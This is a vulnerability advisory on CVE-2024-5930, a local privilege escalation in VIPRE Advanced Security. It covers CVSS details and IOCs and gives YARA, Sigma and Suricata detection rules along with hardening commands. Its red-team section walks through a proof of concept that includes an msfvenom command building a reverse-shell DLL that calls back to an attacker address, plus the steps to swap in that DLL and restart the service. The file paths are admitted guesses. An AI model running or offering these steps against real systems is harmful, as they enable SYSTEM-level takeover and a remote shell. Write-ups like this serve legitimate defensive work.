CVE-2024-5930

Executive Summary

CVE-2024-5930 is a local privilege escalation vulnerability in VIPRE Advanced Security. The flaw resides in the Anti Malware Service component, where incorrect permission assignments on a file allow a low-privileged attacker to escalate to SYSTEM privileges. With a CVSS score of 7.8, this vulnerability poses a significant risk in multi-user environments or post-exploitation scenarios. No public exploit code or patch is currently available, but the vulnerability is confirmed by ZDI (ZDI-CAN-22345).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a local privilege escalation in a proprietary security product (VIPRE Advanced Security). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – Requires local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: Low (PR:L) – Attacker needs low-privileged code execution.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – Full compromise of the system.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability currently), the vulnerability is confirmed and could be weaponized. In enterprise environments with shared workstations or terminal servers, this is a critical risk.

Deep Dive & Mechanics

The vulnerability is a classic case of Incorrect Permission Assignment for Critical Resource (CWE-732). The VIPRE Anti Malware Service (likely running as SYSTEM) creates or uses a file with permissions that allow a low-privileged user to modify or replace it. The specific flaw is in the file permissions – the file is writable by non-privileged users, enabling a local attacker to overwrite it with malicious content (e.g., a DLL or executable). When the service subsequently loads or executes that file, the attacker’s code runs in the context of SYSTEM.

Attack Flow:

1. Attacker gains low-privileged code execution on the target (e.g., via phishing, malware, or legitimate user account).
2. Attacker identifies the vulnerable file (e.g., a configuration file, DLL, or executable) with weak permissions.
3. Attacker replaces or modifies the file with a malicious payload.
4. The Anti Malware Service (running as SYSTEM) loads the tampered file, executing the attacker’s code with SYSTEM privileges.
5. Attacker achieves full system compromise.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the VIPRE Anti Malware Service’s file handling logic. The issue is not a code logic flaw but a permission misconfiguration. A patched version would correct the file permissions (e.g., set to allow only SYSTEM and Administrators to write).

Vulnerable Configuration (example):

# Vulnerable file permissions (e.g., C:\ProgramData\VIPRE\config.ini)
# Permissions: Everyone - Full Control
icacls "C:\ProgramData\VIPRE\config.ini" /grant Everyone:F

Patched Configuration (expected):

# Patched file permissions
icacls "C:\ProgramData\VIPRE\config.ini" /inheritance:r /grant SYSTEM:(F) Administrators:(F) Users:(RX)

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit exists, the following is a conceptual proof-of-concept.

Prerequisites:

• Local low-privileged access to a Windows system with VIPRE Advanced Security installed.
• Identify the vulnerable file (e.g., via icacls or accesschk).

Steps:

1. Identify vulnerable file:

   icacls "C:\Program Files\VIPRE\*" /find /grant Everyone:F
   

2. Create malicious DLL (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o evil.dll
   

3. Replace the vulnerable file:

   copy evil.dll "C:\Program Files\VIPRE\vulnerable.dll" /Y
   

4. Trigger service reload (e.g., restart service or wait for scheduled scan):

   sc stop "VIPRE Anti Malware Service"
   sc start "VIPRE Anti Malware Service"
   

5. Receive SYSTEM shell.

Blue Team (Detection & Hardening)

Detection:

• Monitor for file permission changes on VIPRE directories.
• Alert on writes to protected VIPRE directories by non-admin users.
• Use Sysmon Event ID 11 (FileCreate) and Event ID 13 (RegistryEvent) to detect tampering.

Hardening:

• Apply principle of least privilege to all VIPRE files and directories.
• Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized DLLs.
• Enable Windows Event Logging for file permission changes.

Indicators of Compromise (IOCs)

• File Paths:
  • C:\Program Files\VIPRE\* (any file with weak permissions)
  • C:\ProgramData\VIPRE\*
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\VIPRE Anti Malware Service
• Processes:
  • VipreService.exe (or similar) loading unexpected DLLs.
• Network Connections:
  • Outbound connections from VipreService.exe to unknown IPs (if payload is reverse shell).
• Event Logs:
  • Windows Security Event ID 4670 (Permissions on an object were changed).
  • Sysmon Event ID 11 (FileCreate) for files in VIPRE directories.

Detection Engineering

YARA Rule

rule CVE_2024_5930_VIPRE_LPE {
    meta:
        description = "Detects files with weak permissions in VIPRE directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5930"
    strings:
        $s1 = "VIPRE" nocase
        $s2 = "Everyone" nocase
        $s3 = ":(F)" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: CVE-2024-5930 - VIPRE Advanced Security LPE File Permission Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects changes to file permissions on VIPRE directories that could indicate exploitation of CVE-2024-5930.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5930
logsource:
    product: windows
    service: security
    definition: 'Requires Windows Security Auditing for File System'
detection:
    selection:
        EventID: 4670
        ObjectName|contains: 'VIPRE'
    condition: selection
falsepositives:
    - Legitimate VIPRE updates or configuration changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2024-5930 - VIPRE LPE Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; reference:cve,2024-5930; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict file permissions: Manually audit and restrict permissions on all VIPRE files and directories to only SYSTEM and Administrators.

   icacls "C:\Program Files\VIPRE" /inheritance:r /grant SYSTEM:(OI)(CI)F Administrators:(OI)(CI)F Users:(OI)(CI)RX
   

2. Monitor for exploitation: Enable advanced auditing on VIPRE directories.
3. Apply vendor patch: Monitor VIPRE’s advisory page for an official patch.

Long-term Mitigation:

• Implement application whitelisting (e.g., WDAC) to prevent unauthorized DLLs.
• Use endpoint detection and response (EDR) to detect anomalous behavior from VIPRE processes.
• Follow the principle of least privilege for all users.

Workaround: If possible, disable the vulnerable service temporarily (not recommended as it disables AV).

Valters IT
DevSecOps & Cyber Threat Intelligence